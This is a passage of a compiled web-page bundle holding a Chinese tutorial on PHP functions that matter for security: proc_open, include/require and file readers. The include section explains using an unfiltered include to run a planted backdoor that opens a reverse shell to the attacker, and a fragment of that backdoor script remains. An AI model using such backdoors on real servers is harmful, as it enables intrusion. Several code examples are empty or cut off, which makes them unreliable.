a\u5fc5\u9700\u3002\u89c4\u5b9a\u8fde\u63a5\u7684\u6a21\u5f0f\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"r\uff1a\u53ea\u8bfb"}),"\n",(0,r.jsx)(e.li,{children:"w\uff1a\u53ea\u5199\uff08\u6253\u5f00\u5e76\u6e05\u7a7a\u5df2\u6709\u6587\u4ef6\u6216\u521b\u5efa\u4e00\u4e2a\u65b0\u6587\u4ef6\uff09"}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'\n\n\n'})}),"\n",(0,r.jsx)(e.h3,{id:"proc_open",children:"proc_open()"}),"\n",(0,r.jsx)(e.p,{children:"\u6b64\u51fd\u6570\u6267\u884c\u4e00\u4e2a\u547d\u4ee4\uff0c\u5e76\u4e14\u6253\u5f00\u7528\u6765\u8f93\u5165\u6216\u8005\u8f93\u51fa\u7684\u6587\u4ef6\u6307\u9488"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"proc_open( string $cmd, array $descriptorspec, array &$pipes[, string $cwd = NULL[, array $env = NULL[, array $other_options = NULL]]] ) \n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u6b64\u51fd\u6570\u5176\u5b9e\u548c",(0,r.jsx)(e.code,{children:"popen"}),"\u51fd\u6570\u7c7b\u4f3c\uff0c\u90fd\u662f\u6267\u884c\u547d\u4ee4"]}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-14",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"cmd\uff1a\u8981\u6267\u884c\u7684\u547d\u4ee4"}),"\n",(0,r.jsx)(e.li,{children:"descriptorspec\uff1a\u7d22\u5f15\u6570\u7ec4\u3002\u6570\u7ec4\u4e2d\u7684\u952e\u503c\u8868\u793a\u63cf\u8ff0\u7b26\uff0c\u5143\u7d20\u503c\u8868\u793a PHP \u5982\u4f55\u5c06\u8fd9\u4e9b\u63cf\u8ff0\u7b26\u4f20\u9001\u81f3\u5b50\u8fdb\u7a0b\u30020 \u8868\u793a\u6807\u51c6\u8f93\u5165\uff08stdin\uff09\uff0c1 \u8868\u793a\u6807\u51c6\u8f93\u51fa\uff08stdout\uff09\uff0c2 \u8868\u793a\u6807\u51c6\u9519\u8bef\uff08stderr\uff09\u3002"}),"\n",(0,r.jsx)(e.li,{children:"pipes\uff1a\u5c06\u88ab\u7f6e\u4e3a\u7d22\u5f15\u6570\u7ec4\uff0c\u5176\u4e2d\u7684\u5143\u7d20\u662f\u88ab\u6267\u884c\u7a0b\u5e8f\u521b\u5efa\u7684\u7ba1\u9053\u5bf9\u5e94\u5230PHP\u8fd9\u4e00\u6bb5\u7684\u6587\u4ef6\u6307\u9488\u3002"}),"\n",(0,r.jsx)(e.li,{children:"cwd\uff1a\u8981\u6267\u884c\u547d\u4ee4\u7684\u521d\u59cb\u5de5\u4f5c\u76ee\u5f55\u3002\u5fc5\u9700\u662f\u7edd\u5bf9\u8def\u5f84\u3002\u6b64\u53c2\u6570\u9ed8\u8ba4\u4f7f\u7528 NULL\uff08\u8868\u793a\u5f53\u524d PHP \u8fdb\u7a0b\u7684\u5de5\u4f5c\u76ee\u5f55\uff09"}),"\n",(0,r.jsx)(e.li,{children:"env\u3002\u8981\u6267\u884c\u547d\u4ee4\u6240\u4f7f\u7528\u7684\u73af\u5883\u53d8\u91cf\u3002\u6b64\u53c2\u6570\u9ed8\u8ba4\u4e3a NULL\uff08\u8868\u793a\u548c\u5f53\u524d PHP \u8fdb\u7a0b\u76f8\u540c\u7684\u73af\u5883\u53d8\u91cf\uff09"}),"\n",(0,r.jsxs)(e.li,{children:["other_options\uff1a\u53ef\u9009\u3002\u9644\u52a0\u9009\u9879\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"suppress_errors \uff08\u4ec5\u7528\u4e8e Windows \u5e73\u53f0\uff09\uff1a\u8bbe\u7f6e\u4e3a TRUE \u8868\u793a\u6291\u5236\u672c\u51fd\u6570\u4ea7\u751f\u7684\u9519\u8bef\u3002"}),"\n",(0,r.jsx)(e.li,{children:"bypass_shell \uff08\u4ec5\u7528\u4e8e Windows \u5e73\u53f0\uff09\uff1a\u8bbe\u7f6e\u4e3a TRUE \u8868\u793a\u7ed5\u8fc7 cmd.exe shell\u3002"}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u8bf4\u767d\u4e86\uff0c\u5176\u5b9e\u5c31\u662f\u6267\u884c\u547d\u4ee4\uff0c\u53ea\u4e0d\u8fc7\u5176\u4e2d\u591a\u4e86\u4e00\u4e9b\u9009\u9879\uff0c\u5305\u62ec\u76ee\u5f55\u7684\uff0c\u73af\u5883\u53d8\u91cf\u7684\u7b49\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u793a\u4f8b\u4ee3\u7801\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'$descriptorspec = array(\n\t\t\t0 => array("pipe", "r"),\t//\u6807\u51c6\u8f93\u5165\uff0c\u5b50\u8fdb\u7a0b\u4ece\u6b64\u7ba1\u9053\u8bfb\u53d6\u6570\u636e\n\t\t\t1 => array("pipe", "w"),\t//\u6807\u51c6\u8f93\u51fa\uff0c\u5b50\u8fdb\u7a0b\u5411\u6b64\u7ba1\u9053\u5199\u5165\u6570\u636e\n\t\t\t2 => array("file", "/opt/figli/php/error-output.txt","a")\t//\u6807\u51c6\u9519\u8bef\uff0c\u5199\u5165\u5230\u6307\u5b9a\u6587\u4ef6\n\t\t\t);\n \n \n\t$process = proc_open("ls -a", $descriptorspec, $pipes);\n \n\tif(is_resource($process)){\n \n\t\techo stream_get_contents($pipes[1]);\n\t\tfclose($pipes[1]);\n \n\t\tproc_close($process);\t//\u5728\u8c03\u7528proc_close\u4e4b\u524d\u5fc5\u987b\u5173\u95ed\u6240\u6709\u7ba1\u9053\n\t}\n'})}),"\n",(0,r.jsx)(e.h2,{id:"\u6587\u4ef6\u5305\u542b",children:"\u6587\u4ef6\u5305\u542b"}),"\n",(0,r.jsx)(e.h3,{id:"include",children:"include()"}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:"include"}),"\u5c06\u4f1a\u5305\u542b\u8bed\u53e5\u5e76\u6267\u884c\u6307\u5b9a\u6587\u4ef6"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"include 'filename';\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u5173\u952e\u70b9\u5c31\u5728\u4e8e\u6267\u884c\u6307\u5b9a\u6587\u4ef6\uff0c\u6267\u884c\u7ed9\u4e86\u6211\u4eec\u4ee3\u7801\u6267\u884c\u7684\u673a\u4f1a\u3002\u5018\u82e5\u6b64\u65f6\u6211\u4eec\u6784\u9020\u4e86\u4e00\u4e2a\u540e\u95e8\u6587\u4ef6\uff0c\u9700\u8981\u5728\u76ee\u6807\u673a\u5668\u6267\u884c\u8fdb\u884cshell\u53cd\u5f39\uff0c\u90a3\u4e48\u5982\u679c\u4ee3\u7801\u4e2d\u6709",(0,r.jsx)(e.code,{children:"include"}),"\u800c\u4e14\u6ca1\u6709\u8fdb\u884c\u8fc7\u6ee4\uff0c\u90a3\u4e48\u6211\u4eec\u5c31\u53ef\u4ee5\u4f7f\u7528\u8be5\u51fd\u6570\u6765\u6267\u884c\u6211\u4eec\u7684\u540e\u95e8\u51fd\u6570\u3002\u4e0b\u9762\u6211\u6765\u6f14\u793a\u4e00\u4e0b\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u793a\u4f8b\u4ee3\u7801(1.php)\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u793a\u4f8b\u4ee3\u7801(2.php)\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'&3 2>&3");\n\techo \'

[*]backdoor is running!

\';\n?>\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648094.png",alt:"img"})}),"\n",(0,r.jsx)(e.h3,{id:"include_once",children:"include_once()"}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:"include_once"}),"\u4e0e",(0,r.jsx)(e.code,{children:"include"}),"\u6ca1\u6709\u592a\u5927\u533a\u522b\uff0c\u552f\u4e00\u7684\u5176\u533a\u522b\u5df2\u7ecf\u5728\u540d\u79f0\u4e2d\u4f53\u73b0\u4e86\uff0c\u5c31\u662f\u76f8\u540c\u7684\u6587\u4ef6\u53ea\u5305\u542b\u4e00\u6b21\u3002\u5176\u4ed6\u529f\u80fd\u548c",(0,r.jsx)(e.code,{children:"include_once"}),"\u4e00\u6837\uff0c\u53ea\u662f\u589e\u52a0\u5bf9\u6bcf\u4e2a\u6587\u4ef6\u5305\u542b\u7684\u6b21\u6570\u3002"]}),"\n",(0,r.jsx)(e.h3,{id:"require",children:"require()"}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:"require"}),"\u7684\u5b9e\u73b0\u548c",(0,r.jsx)(e.code,{children:"include"}),"\u529f\u80fd\u51e0\u4e4e\u5b8c\u5168\u76f8\u540c\uff0c\u90a3\u65e2\u7136\u4e00\u6837\u4e3a\u4ec0\u4e48\u8fd8\u8981\u591a\u4e00\u4e2a\u8fd9\u6837\u7684\u51fd\u6570\u5462\uff1f( \u6211\u4e5f\u4e0d\u77e5\u9053)"]}),"\n",(0,r.jsx)(e.p,{children:"\u5176\u5b9e\u4e24\u8005\u8fd8\u662f\u6709\u70b9\u533a\u522b\u7684\uff0c\u4ec0\u4e48\u533a\u522b\u5462\uff1f\u8fd9\u4e48\u8bf4\uff0c\u5982\u679c\u4f60\u5305\u542b\u7684\u6587\u4ef6\u7684\u4ee3\u7801\u91cc\u9762\u6709\u9519\u8bef\uff0c\u4f60\u89c9\u5f97\u4f1a\u53d1\u751f\u4ec0\u4e48\uff1f\u662f\u7ee7\u7eed\u6267\u884c\u5305\u542b\u7684\u6587\u4ef6\uff0c\u8fd8\u662f\u505c\u6b62\u6267\u884c\u5462\uff1f\u6240\u4ee5\u533a\u522b\u5c31\u5728\u8fd9\u91cc\u4ea7\u751f\u4e86\u3002"}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:"require"}),"\u5728\u51fa\u9519\u65f6\u4f1a\u5bfc\u81f4\u811a\u672c\u7ec8\u6b62\uff0c\u800c",(0,r.jsx)(e.code,{children:"include"}),"\u5728\u51fa\u9519\u65f6\u53ea\u662f\u53d1\u751f\u8b66\u544a\uff0c\u811a\u672c\u8fd8\u662f\u7ee7\u7eed\u6267\u884c\u3002"]}),"\n",(0,r.jsx)(e.h3,{id:"require_once",children:"require_once()"}),"\n",(0,r.jsxs)(e.p,{children:["\u8fd9\u4e2a\u6211\u89c9\u5f97\u4f60\u770b\u5b8c\u4e0a\u9762\u7684\uff0c\u5e94\u8be5\u5c31\u61c2\u4e86\u3002\u8fd9\u4e24\u8005\u5173\u7cfb\u548c",(0,r.jsx)(e.code,{children:"include"}),"\u4e0e",(0,r.jsx)(e.code,{children:"include_once"}),"\u7684\u5173\u7cfb\u662f\u4e00\u6837\u7684\u3002"]}),"\n",(0,r.jsx)(e.h3,{id:"\u603b\u7ed3-1",children:"\u603b\u7ed3"}),"\n",(0,r.jsx)(e.p,{children:"\u6587\u4ef6\u5305\u542b\u6709\u5f88\u591a\u5229\u7528\u624b\u6bb5\uff0c\u5176\u4e2d\u5728\u5b9e\u9645\u73af\u5883\u4e2d\uff0c\u4f8b\u5982\u6211\u4eec\u5411\u670d\u52a1\u5668\u5199\u5165\u4e86\u540e\u95e8\uff0c\u4f46\u662f\u6211\u4eec\u65e0\u6cd5\u76f4\u63a5\u8fde\u63a5\u670d\u52a1\u5668\uff0c\u90a3\u4e48\u5982\u679c\u6709\u6587\u4ef6\u5305\u542b\u51fd\u6570\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u6587\u4ef6\u5305\u542b\u51fd\u6570\u5305\u542b\u6267\u884c\u6211\u4eec\u7684\u540e\u95e8\u51fd\u6570\uff0c\u8ba9\u670d\u52a1\u5668\u53cd\u5f39\u8fde\u63a5\u6211\u4eec\u3002\u5c82\u4e0d\u7f8e\u54c9\u3002"}),"\n",(0,r.jsx)(e.h2,{id:"\u6587\u4ef6\u8bfb\u53d6\u4e0b\u8f7d",children:"\u6587\u4ef6\u8bfb\u53d6(\u4e0b\u8f7d)"}),"\n",(0,r.jsx)(e.h3,{id:"file_get_contents",children:"file_get_contents()"}),"\n",(0,r.jsx)(e.p,{children:"\u51fd\u6570\u529f\u80fd\u662f\u5c06\u6574\u4e2a\u6587\u4ef6\u8bfb\u5165\u4e00\u4e2a\u5b57\u7b26\u4e32"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"file_get_contents(path,include_path,context,start,max_length)\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-15",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"filename\uff1a\u8981\u8bfb\u53d6\u6587\u4ef6\u7684\u540d\u79f0\u3002"}),"\n",(0,r.jsx)(e.li,{children:"include_path\uff1a\u53ef\u9009\u3002\u5982\u679c\u4e5f\u60f3\u5728 include_path \u4e2d\u641c\u7d22\u6587\u4ef6\uff0c\u53ef\u4ee5\u8bbe\u7f6e\u4e3a1\u3002"}),"\n",(0,r.jsx)(e.li,{children:"context\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u53e5\u67c4\u7684\u4f4d\u7f6e\u3002"}),"\n",(0,r.jsx)(e.li,{children:"start\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u6587\u4ef6\u4e2d\u5f00\u59cb\u8bfb\u53d6\u7684\u4f4d\u7f6e\u3002"}),"\n",(0,r.jsx)(e.li,{children:"max_length\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u8bfb\u53d6\u7684\u5b57\u8282\u6570\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nI am a demo text\n"})}),"\n",(0,r.jsx)(e.h3,{id:"fopen",children:"fopen()"}),"\n",(0,r.jsxs)(e.p,{children:["\u6b64\u51fd\u6570\u5c06\u6253\u5f00\u4e00\u4e2a\u6587\u4ef6\u6216URL\uff0c\u5982\u679c fopen() \u5931\u8d25\uff0c\u5b83\u5c06\u8fd4\u56de FALSE \u5e76\u9644\u5e26\u9519\u8bef\u4fe1\u606f\u3002\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u5728\u51fd\u6570\u540d\u524d\u9762\u6dfb\u52a0\u4e00\u4e2a ",(0,r.jsx)(e.code,{children:"@"})," \u6765\u9690\u85cf\u9519\u8bef\u8f93\u51fa\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"fopen(filename,mode,include_path,context)\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-16",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"filename\uff1a\u5fc5\u9700\u3002\u8981\u6253\u5f00\u7684\u6587\u4ef6\u6216URL"}),"\n",(0,r.jsx)(e.li,{children:"mode\uff1a\u5fc5\u9700\u3002\u89c4\u5b9a\u8bbf\u95ee\u7c7b\u578b\uff08\u4f8b\u5982\u53ea\u8bfb\uff0c\u53ea\u5199\uff0c\u8bfb\u5199\u65b9\u5f0f\u7b49\uff0c\u65b9\u5f0f\u7684\u89c4\u5b9a\u548c\u5176\u4ed6\u8bed\u8a00\u7684\u89c4\u5b9a\u65b9\u5f0f\u4e00\u81f4\uff09"}),"\n",(0,r.jsx)(e.li,{children:"include_path\uff1a\u53ef\u9009\u3002\u5c31\u662f\u4f60\u53ef\u4ee5\u6307\u5b9a\u641c\u7d22\u7684\u8def\u5f84\u4f4d\u7f6e\uff0c\u5982\u679c\u8981\u6307\u5b9a\u7684\u8bdd\uff0c\u90a3\u4e48\u8be5\u53c2\u6570\u8981\u6307\u5b9a\u4e3a- context\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u53e5\u67c4\u7684\u73af\u5883\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nI am a demo text\n'})}),"\n",(0,r.jsxs)(e.p,{children:["\u8fd9\u6bb5\u4ee3\u7801\u4e2d\u5176\u5b9e\u4e5f\u5305\u542b\u4e86",(0,r.jsx)(e.code,{children:"fread"}),"\u7684\u7528\u6cd5\u3002\u56e0\u4e3a",(0,r.jsx)(e.code,{children:"fread"}),"\u4ec5\u4ec5\u53ea\u662f\u6253\u5f00\u4e00\u4e2a\u6587\u4ef6\uff0c\u8981\u60f3\u8bfb\u53d6\u8fd8\u5f97\u9700\u8981\u7528\u5230",(0,r.jsx)(e.code,{children:"fread"}),"\u6765\u8bfb\u53d6\u6587\u4ef6\u5185\u5bb9\u3002"]}),"\n",(0,r.jsx)(e.h3,{id:"fread",children:"fread()"}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u4e2a\u51fd\u6570\u521a\u624d\u5728\u4e0a\u4e2a\u51fd\u6570\u4e2d\u57fa\u672c\u5df2\u7ecf\u6f14\u793a\u8fc7\u4e86\uff0c\u5c31\u662f\u8bfb\u53d6\u6587\u4ef6\u5185\u5bb9\u3002\u8fd9\u91cc\u4ee3\u7801\u5c31\u4e0d\u518d\u6f14\u793a\u4e86\uff0c\u7b80\u5355\u4ecb\u7ecd\u4e00\u4e0b\u53c2\u6570\u548c\u7528\u6cd5\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"string fread ( resource $handle , int $length )\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-17",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:["handle\uff1a\u6587\u4ef6\u7cfb\u7edf\u6307\u9488\uff0c\u662f\u5178\u578b\u5730\u7531 ",(0,r.jsx)(e.code,{children:"fopen"}),"\u521b\u5efa\u7684",(0,r.jsx)(e.code,{children:"resource"}),"\u3002"]}),"\n",(0,r.jsx)(e.li,{children:"length\uff1a\u5fc5\u9700\u3002\u4f60\u8981\u8bfb\u53d6\u7684\u6700\u5927\u5b57\u8282\u6570\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.h3,{id:"fgets",children:"fgets()"}),"\n",(0,r.jsx)(e.p,{children:"\u4ece\u6253\u5f00\u7684\u6587\u4ef6\u4e2d\u8bfb\u53d6\u4e00\u884c"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"fgets(file,length) \n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-18",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"file\uff1a\u5fc5\u9700\u3002\u89c4\u5b9a\u8981\u8bfb\u53d6\u7684\u6587\u4ef6\u3002"}),"\n",(0,r.jsx)(e.li,{children:"length\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u8981\u8bfb\u53d6\u7684\u5b57\u8282\u6570\u3002\u9ed8\u8ba4\u662f1024\u5b57\u8282\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u53ef\u4ee5\u770b\u51fa\u8fd9\u4e2a\u51fd\u6570\u548c\u4e4b\u524d\u7684fread\u533a\u522b\u4e0d\u662f\u5f88\u5927\uff0c\u53ea\u4e0d\u8fc7\u8fd9\u4e2a\u8bfb\u53d6\u7684\u662f\u4e00\u884c\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"fgetss",children:"fgetss()"}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u4e2a\u51fd\u6570\u8ddf\u4e0a\u4e2a\u6ca1\u4ec0\u4e48\u5dee\u522b\uff0c\u4e5f\u662f\u4ece\u6253\u5f00\u7684\u6587\u4ef6\u4e2d\u8bfb\u53d6\u53bb\u4e00\u884c\uff0c\u53ea\u4e0d\u8fc7\u8fc7\u6ee4\u6389\u4e86 HTML \u548c PHP \u6807\u7b7e\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"fgetss(file,length,tags)\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-19",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"file\uff1a\u5fc5\u9700\u3002\u8981\u68c0\u67e5\u7684\u6587\u4ef6\u3002"}),"\n",(0,r.jsx)(e.li,{children:"length\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u8981\u8bfb\u53d6\u7684\u5b57\u8282\u6570\uff0c\u9ed8\u8ba41024\u5b57\u8282\u3002"}),"\n",(0,r.jsx)(e.li,{children:"tags\uff1a\u53ef\u9009\u3002\u54ea\u4e9b\u6807\u8bb0\u4e0d\u53bb\u6389\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'\n\ndemo.html\u4ee3\u7801\n

I am a demo

\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nI am a demo\n'})}),"\n",(0,r.jsx)(e.h3,{id:"readfile",children:"readfile()"}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u4e2a\u51fd\u6570\u4ece\u540d\u79f0\u57fa\u672c\u5c31\u77e5\u9053\u5b83\u662f\u5e72\u5565\u7684\u4e86\uff0c\u8bfb\u6587\u4ef6\u7528\u7684\u3002\u6b64\u51fd\u6570\u5c06\u8bfb\u53d6\u4e00\u4e2a\u6587\u4ef6\uff0c\u5e76\u5199\u5165\u5230\u8f93\u51fa\u7f13\u51b2\u4e2d\u3002\u5982\u679c\u6210\u529f\uff0c\u8be5\u51fd\u6570\u8fd4\u56de\u4ece\u6587\u4ef6\u4e2d\u8bfb\u5165\u7684\u5b57\u8282\u6570\u3002\u5982\u679c\u5931\u8d25\uff0c\u8be5\u51fd\u6570\u8fd4\u56de FALSE \u5e76\u9644\u5e26\u9519\u8bef\u4fe1\u606f\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"readfile(filename,include_path,context)\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-20",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"filename\uff1a\u5fc5\u9700\u3002\u8981\u8bfb\u53d6\u7684\u6587\u4ef6\u3002"}),"\n",(0,r.jsx)(e.li,{children:"include_path\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u8981\u641c\u7d22\u7684\u8def\u5f84\u3002"}),"\n",(0,r.jsx)(e.li,{children:"context\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u6587\u4ef6\u53e5\u67c4\u73af\u5883\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'" . readfile("demo.txt");\n?>\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nI am a demo:) I am a demo:(\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u6211\u4eec\u770b\u5230\u4e0d\u4ec5\u8f93\u51fa\u4e86\u6240\u6709\u5185\u5bb9\uff0c\u800c\u4e14\u8fd8\u8f93\u51fa\u4e86\u603b\u5171\u957f\u5ea6\u3002\u4f46\u662f\u6ca1\u6709\u8f93\u51fa\u6362\u884c\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"file",children:"file()"}),"\n",(0,r.jsx)(e.p,{children:"\u628a\u6587\u4ef6\u8bfb\u5165\u5230\u4e00\u4e2a\u6570\u7ec4\u4e2d\uff0c\u6570\u7ec4\u4e2d\u6bcf\u4e00\u4e2a\u5143\u7d20\u5bf9\u5e94\u7684\u662f\u6587\u4ef6\u4e2d\u7684\u4e00\u884c\uff0c\u5305\u62ec\u6362\u884c\u7b26\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"file(path,include_path,context)\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-21",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"path\uff1a\u5fc5\u9700\u3002\u8981\u8bfb\u53d6\u7684\u6587\u4ef6\u3002"}),"\n",(0,r.jsx)(e.li,{children:"include_path\uff1a\u53ef\u9009\u3002\u53ef\u6307\u5b9a\u641c\u7d22\u8def\u5f84\u3002"}),"\n",(0,r.jsx)(e.li,{children:"context\uff1a\u53ef\u9009\u3002\u8bbe\u7f6e\u53e5\u67c4\u73af\u5883\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nArray \n( \n[0] => I am the first line! \n[1] => I am the second line! \n)\n'})}),"\n",(0,r.jsx)(e.h3,{id:"parse_ini_file",children:"parse_ini_file()"}),"\n",(0,r.jsx)(e.p,{children:"\u4ece\u540d\u79f0\u53ef\u4ee5\u770b\u51fa\uff0c\u8fd9\u4e2a\u51fd\u6570\u4e0d\u662f\u8bfb\u53d6\u4e00\u4e2a\u7b80\u5355\u7684\u6587\u4ef6\u3002\u5b83\u7684\u529f\u80fd\u662f\u89e3\u6790\u4e00\u4e2a\u914d\u7f6e\u6587\u4ef6(ini\u6587\u4ef6)\uff0c\u5e76\u4ee5\u6570\u7ec4\u7684\u5f62\u5f0f\u8fd4\u56de\u5176\u4e2d\u7684\u4f4d\u7f6e\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"parse_ini_file(file,process_sections)\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-22",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"file\uff1a\u5fc5\u9700\u3002\u8981\u8bfb\u53d6\u7684ini\u6587\u4ef6"}),"\n",(0,r.jsx)(e.li,{children:"process_sections\uff1a\u53ef\u9009\u3002\u82e5\u4e3aTRUE\uff0c\u5219\u8fd4\u56de\u4e00\u4e2a\u591a\u7ef4\u6570\u7ec4\uff0c\u5305\u62ec\u4e86\u8be6\u7ec6\u4fe1\u606f"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'\n\ndemo.ini\u5185\u5bb9\uff1a\n[names]\nme = Robert\nyou = Peter\n\n[urls]\nfirst = "http://www.example.com"\nsecond = "https://www.runoob.com"\n\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nArray \n( \n[me] => Robert \n[you] => Peter \n[first] => http://www.example1.com \n[second] => https://www.example2.com \n)\n'})}),"\n",(0,r.jsx)(e.h3,{id:"show_sourcehighlight_file",children:"show_source()/highlight_file()"}),"\n",(0,r.jsxs)(e.p,{children:["\u8fd9\u4e24\u4e2a\u51fd\u6570\u6ca1\u4ec0\u4e48\u597d\u8bf4\u7684\uff0c\u60f3\u5fc5\u5927\u5bb6\u4e5f\u7ecf\u5e38\u89c1\u5230\u8fd9\u4e24\u4e2a\u51fd\u6570\uff0c\u5176\u4f5c\u7528\u5c31\u662f\u8ba9php\u4ee3\u7801\u663e\u793a\u5728\u9875\u9762\u4e0a\u3002\u8fd9\u4e24\u4e2a\u6ca1\u6709\u4efb\u4f55\u533a\u522b\uff0c",(0,r.jsx)(e.code,{children:"show_source"}),"\u5176\u5b9e\u5c31\u662f",(0,r.jsx)(e.code,{children:"highlight_file"}),"\u7684\u522b\u540d\u3002"]}),"\n",(0,r.jsx)(e.h3,{id:"\u603b\u7ed3-2",children:"\u603b\u7ed3"}),"\n",(0,r.jsx)(e.p,{children:"\u6587\u4ef6\u8bfb\u53d6\u8fd9\u5757\u5185\u5bb9\u6ca1\u4ec0\u4e48\u597d\u8bf4\u7684\uff0c\u4e0d\u96be\uff0c\u5927\u591a\u53ea\u662f\u57fa\u672c\u7684\u5e94\u7528\u3002\u91cd\u70b9\u6587\u4ef6\u8bfb\u53d6\u5982\u679c\u6ca1\u6709\u8bbe\u7f6e\u6743